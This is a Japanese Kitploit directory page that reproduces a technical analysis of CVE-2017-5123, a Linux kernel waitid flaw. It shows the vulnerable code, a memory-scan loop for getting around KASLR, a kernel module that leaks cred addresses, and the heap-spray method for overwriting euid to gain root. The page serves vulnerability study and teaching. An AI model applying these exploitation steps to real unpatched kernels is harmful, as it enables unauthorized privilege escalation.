Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2017-5123 — CVE-2017-5123(access_ok()チェック欠如によりローカル特権昇格を可能にするLinuxカーネルwaitidシステムコールの脆弱性)の詳細な技術分析と実証コード | Kitploit
ツール/GitHubGitHub/h1bana/cve-2017-5123
特権昇格脆弱性分析エクスプロイト学習と教育バイナリエクスプロイト
GitHubh1bana/cve-2017-5123

CVE-2017-5123

CVE-2017-5123(access_ok()チェック欠如によりローカル特権昇格を可能にするLinuxカーネルwaitidシステムコールの脆弱性)の詳細な技術分析と実証コード

リポジトリを見る
13年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2017-5123

脆弱性概要

Linux カーネルの waitid システムコールは、使用される宛先アドレスを検証していませんでした。これにより、ローカルユーザーがカーネルメモリ領域に書き込むことが可能になり、デバイス上での権限昇格やサンドボックスエスケープにつながる可能性があります。

脆弱性の詳細

脆弱性の分類

  • 権限昇格
  • サンドボックスエスケープ (Chrome)

脆弱性コード

kernel/exit.c

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;

    user_access_begin(); // 本質的には stac() を呼び出し、SMAP を一時的に無効化
    unsafe_put_user(signo, &infop->si_signo, Efault); // <- この関数呼び出しの前に access_ok() チェックが欠如
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();  // 本質的には clac() を呼び出し、SMAP を再有効化
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

ここで特定されたバグは、unsafe_put_user() 関数を呼び出す前に access_ok() チェックが欠如していることです。以前のカーネルバージョンでは、プログラムは put_user() 関数を使用しており、この関数は access_ok() チェックの呼び出しを含んでいました。

root@kitploit:~
put_user(x, void __user *ptr)
    if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
        return -EFAULT
    user_access_begin()
    *ptr = x
    user_access_end()

unsafe_put_user() 関数を使用することで、プログラムは user_access_begin() / user_access_end() を短時間に連続して呼び出すことによる SMAP の頻繁な切り替えを回避できます。ここでの access_ok() 関数は、ポインタ ptr のアドレスがユーザーのメモリ領域に属していることを確認し、ユーザーがカーネルメモリ領域に書き込むのを防ぎます。つまり、waitid システムコールを呼び出し、引数 infop にカーネルアドレスを指定すると、このバグが発動します。

悪用方法

access_ok() チェックの欠如により、waitid の引数 infop としてカーネルアドレスを渡すことができ、その後システムコールは unsafe_put_user() の呼び出しによってこのアドレスを上書きします。ここでの制限は、提供したカーネルアドレスに何が書き込まれるかを制御できないことです。6つのフィールドが書き込みに使用されます: signo、nullバイト、info.cause、info.pid(最大値は 0x8000)、info.uid、info.status(int32 型ですが、値は 0 より大きく 256 未満)。ここで最も有用なフィールドはおそらく nullバイトです。これを使用して cred->euid と cred->uid を上書きできます。そのためには、これらの2つの値のアドレスを知る必要があります。

KASLR をバイパスするためのメモリスキャン

kernel.org によると、すべてのプロセス間で共有されるカーネル空間仮想メモリのアドレスは 0xffff800000000000 から始まります。ただし、0xffff800000000000 から 0xffff87ffffffffff までは "... guard hole, also reserved for hypervisor" なので、スキャンはアドレス 0xffff880000000000 から開始します。また、unsafe_put_user() は無効なアドレスにアクセスしてもクラッシュしないため、メモリスキャンが可能であることも付け加えておきます。これにより、特権のないユーザーが無効なアドレスを渡してシステムを DoS することを防ぎます。

root@kitploit:~
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %p\n", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

image

これでカーネルヒープのアドレスがわかりました。次に、cred 構造体のアドレスを特定します。

ヒープスプレーによる Cred アドレスの特定

カーネルヒープのアドレスはわかっても、そのアドレスがヒープの先頭であるとは限りません。そのため、cred 構造体の正確なアドレスを計算できません。ここで、ヒープスプレーと呼ばれる手法を使用します。

  • 多くのプロセスを作成すると、メモリ上に多くの cred 構造体が生成されます。これにより、cred 構造体のアドレスを推測しやすくなります。
  • これらのプロセスは geteuid() を呼び出し続け、0 を返す場合はそのプロセスが root 権限で実行されていることを意味します → Bingo。
  • 親プロセスは脆弱性を利用して waitid() システムコールを呼び出し、cred 構造体のアドレスを推測し、cred->uid を null で上書きします。

子プロセスの cred 構造体のアドレスをデバッグして見つけるのは非常に時間がかかるため、printk() を介して cred->euid のアドレスを出力する既存のモジュールを使用しました。

root@kitploit:~
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %p\n", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

image

アドレスには同じようなパターンがあることに気づきました。リブート後もこれらのアドレスのオフセットは同様でした。そこで、1つのアドレスを選択し、ループ内で +pagesize を加えて cred 構造体のアドレスを推測することにしました。

image

悪用デモ動画: IMAGE ALT TEXT HERE

この悪用手法に関するいくつかの問題

  • 成功率は不確実です。
  • この脆弱性の影響を受けるカーネルバージョンでは、悪用コードはすべてのバージョンで動作するとは限りません。各カーネルバージョンによって、スプレー時の EUID のオフセットが異なるためです。PoC がすべてのバージョンで動作するようにするには、悪用コードが euid を見つけて null に変更する必要があります。アドレスを 見つかったヒープアドレス + オフセット の形式で指定しましたが、オフセットを小さくすることで多くのバージョンで使用可能にできます。ただし、これは攻撃時間が長くなり、ヒープ内の他の重要な構造体に書き込む可能性があるため、カーネルパニック/クラッシュの可能性が高まります。

影響範囲

  • 影響を受けるバージョン: Linux カーネル 4.13 - 4.13.6
  • バグが導入されたコミット (2017-05-21, v4.13-rc1)

パッチ

  • パッチは access_ok() チェックを追加しました。
  • パッチコミット

結論

  • このバグは権限昇格に使用でき、Chrome サンドボックスエスケープと連鎖させる可能性があります。バグ発見時点では、Chrome の seccomp は waitid システムコールの使用を許可していました。

参考文献

  • Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!
ツールをダウンロード